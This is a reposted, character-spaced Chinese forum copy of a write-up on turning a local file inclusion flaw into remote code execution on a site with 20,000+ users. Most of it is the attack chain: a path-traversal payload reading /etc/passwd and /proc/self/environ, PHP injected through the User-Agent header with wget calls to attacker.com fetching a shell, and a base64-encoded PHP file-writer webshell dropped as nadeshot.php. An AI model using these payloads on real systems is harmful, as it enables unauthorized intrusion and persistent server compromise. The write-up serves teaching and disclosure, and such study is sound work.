搜索

[2173] 2020-10-12_在拥有20000+用户的网站中利用LFI到RCE

文档创建者：s7ckTeam
浏览次数：35
最后更新：2025-01-16
2020-10-12_在拥有20000+用户的网站中利用LFI到RCE 在 拥 有 2 0 0 0 0 + 用 户 的 网 站 中 利 用 L F I 到 R C E 原 创   K l e i t o n x 0 0   E D I 安 全   2 0 2 0 - 1 0 - 1 2 最 近 ， 我 发 现 了 一 个 有 趣 的 攻 击 媒 介 。 访 问 网 站 （ 端 口 4 4 3 ） ， 我 们 看 到 以 下 页 面 ： 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 查 找 L F I 漏 洞 让 我 们 浏 览 网 站 ， 看 看 是 否 可 以 找 到 一 些 有 趣 的 功 能 点 。 单 击 “ 联 系 我 们 ” 会 跳 转 到 一 个 有 趣 的 U R L ： h t t p s : / / w w w . w e b s i t e . c o m / i n d e x . p h p ? p g = c o n t a c t . p h p 开 始 利 用 p g 参 数 ， 发 现 使 用 以 下 p a y l o a d 可 以 执 行 L F I ： h t t p s : / / w w w . w e b s i t e . c o m / i n d e x . p h p ? p g = . . / . . / . . / . . / e t c / p a s s w d 到 目 前 为 止 ， 我 们 已 经 有 了 L F I ， 让 我 们 尝 试 增 加 影 响 。 0 2 0 2 0 2 0 2 0 2 0 2 0 2 0 2 0 2 0 2 0 2 0 2 0 2 0 2 0 2 0 2 从 L F I 到 R C E 使 用 所 有 可 能 的 已 知 技 术 将 L F I 漏 洞 升 级 为 R C E ， 我 发 现 /   p r o c   /   s e l f   /   e n v i r o n 对 我 们 而 言 是 可 读 的 。 因 此 ， 输 入 以 下 代 码 会 泄 漏 信 息 ： h t t p s : / / w w w . w e b s i t e . c o m / i n d e x . p h p ? p g = . . / . . / . . / . . / p r o c / s e l f / e n v i r o n
分 析 输 出 ， 我 们 可 以 看 到 /   p r o c   /   s e l f   /   e n v i r o n 下 的 文 件 包 含 几 个 环 境 变 量 ， 例 如 H T T P _ U S E R _ A G E N T 。 让 我 们 启 动 B u r p   S u i t e ， 并 通 过 更 改 用 户 代 理 值 发 送 请 求 。 我 尝 试 将 以 下 值 添 加 到 U s e r - A g e n t ： 尝 试 使 用 尝 试 使 用 s y s t e m （ ） ， 但 没 有 （ ） ， 但 没 有 R C E ： ： 用 户 代 理 ： < ？ s y s t e m （ ' w g e t   h t t p : / / a t t a c k e r . c o m / s h e l l . t x t   - O   s h e l l . p h p ' ） ; ？ > 尝 试 了 尝 试 了 e x e c （ ） ， 但 没 有 （ ） ， 但 没 有 R C E ： ： 用 户 代 理 ： < ？ e x e c （ ' w g e t   h t t p : / / a t t a c k e r . c o m / s h e l l . t x t   - O   s h e l l . p h p ' ） ; ？ > 尝 试 了 尝 试 了 p h p i n i t （ ） ， 但 失 败 了 ： （ ） ， 但 失 败 了 ： 用 户 代 理 ： < ？ p h p   p h p i n f o （ ） ;   ？ > 这 是 我 花 了 很 多 时 间 的 地 方 ， 但 我 忘 记 了 可 以 在 服 务 器 内 部 写 入 文 件 ， 因 此 尝 试 了 以 下 p a y l o a d 。 让 我 们 创 建 一 个 将 在 用 户 代 理   H T T P 标 头 中 使 用 的 p a y l o a d ： 用 户 代 理 ： < ？ 的 P H P   $   A   =   B A S E 6 4 _ D E C O D E （ ' P D 9 w a H A g C i A g J G E g P S A k X 1 B P U 1 R b J 2 N v Z G U n X T s K I C A k Z m l s Z S A 9 I E B m b 3 B l b i g k X 1 B P U 1 R b J 2 Z p b G U n X S w n d y c p O w o g I E B m d 3 J p d G U o J G Z p b G U s J G E p O w o g I E B m Y 2 x v c 2 U o J G Z p b G U p O w o / P g o 8 Y 2 V u d G V y P g o g I D x m b 3 J t I G 1 l d G h v Z D 0 i c G 9 z d C I g a W Q 9 I m Z v c m 0 i P g o g I C A g P G g y P k Z p b G U g V 3 J p d G V y P C 9 o M j 4 K I C A g I E Z p b G U g T m F t Z T x i c j 4 8 a W 5 w d X Q g d H l w Z T 0 i d G V 4 d C I g b m F t Z T 0 i Z m l s Z S I g c G x h Y 2 V o b 2 x k Z X I 9 I n N o Z W x s L n B o c C I P G J y P g o g I C A g U 2 h l b G w g Q 2 9 k Z T x i c j 4 8 d G V 4 d G F y Z W E g b m F t Z T 0 i Y 2 9 k Z S I g Z m 9 y b T 0 i Z m 9 y b S I g c G x h Y 2 V o b 2 x k Z X I 9 I l B h c 3 R l I H l v d X I g c 2 h l b G w g a G V y Z S I + P C 9 0 Z X h 0 Y X J l Y T 4 8 Y n I + C i A g I C A 8 a W 5 w d X Q g d H l w Z T 0 i c 3 V i b W l 0 I i B 2 Y W x 1 Z T 0 i V 3 J p d G U i P g o g I D w v Z m 9 y b T 4 K P C 9 j Z W 5 0 Z X I +   C G   = = ' ） ;   $   f i l e   =   f o p e n （ ' n a d e s h o t . p h p ' ， ' w ' ） ;   回 声 f w r i t e （ $   f i l e ， $   a ） ;   f c l o s e （ $   f i l e ） ;   ？ > 0 3 0 3 0 3 0 3 0 3 0 3 0 3 0 3 0 3 0 3 0 3 0 3 0 3 0 3 0 3 0 3 解 释 使 用 的 p a y l o a d 该 w e b s h e l l 在 b a s e 6 4 中 编 码 ， 并 存 储 在 a 变 量 中 。 原 始 的 w e b s h e L L   p h p 代 码 来 自 ： h t t p s : / / g i t h u b . c o m / a l i t a - i d o / P H P - F i l e - W r i t e r / b l o b / m a s t e r / l f i - w r i t e r . p h p $ a = b a s e 6 4 _ d e c o d e （ ' w e b s h e l l _ b a s e 6 4 _ e n c o d e d _ c o d e _ h e r e ' ） ; 之 后 ， 我 们 把 一 个 名 为 n a d e s h o t . p h p 的 文 件 写 入 服 务 器 。 $   f i l e   =   f o p e n （ ' n a d e s h o t . p h p ' ， ' w ' ） ; 然 后 ， 服 务 器 将 代 码 （ 解 码 为 b a s e 6 4 ） 写 入 n a d e s h o t . p h p e c h o   f w r i t e （ $   f i l e ， $   a ） ; 服 务 器 将 保 存 文 件 ： f c l o s e （ $   f i l e ） ; 因 此 ， 让 我 们 尝 试 在 B u r p   S u i t e 中 执 行 整 个 p a y l o a d ， 然 后 看 看 会 发 生 什 么 。 收 到   2 0 0 （ O K ） ， 。 我 们 希 望 p a y l o a d 按 计 划 执 行 ， 因 此 ， 请 转 到 以 下 网 址 检 查 其 是 否 成 功 执 行 ： h t t p s ： / / w e b s i t e . c o m / n a d e s h o t . p h p 我 们 的 w e b s h e l l 已 上 传 到 / n a d e s h o t . p h p 中 。 现 在 让 我 们 编 写 一 个 简 单 的 . t x t 文 件 （ 尽 量 不 损 害 网 站 ） ， 看 看 它 是 否 有 效 。
我 将 创 建 一 个 名 为 n a d e s h o t . t x t 的 文 本 文 件 ， 然 后 单 击 “ w r i t e ” 。 进 入 h t t p s : / / w e b s i t e . c o m / n a d e s h o t . t x t 将 显 示 我 们 的 文 本 文 件 。 成 功 地 从 L F I 到 R C E .
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理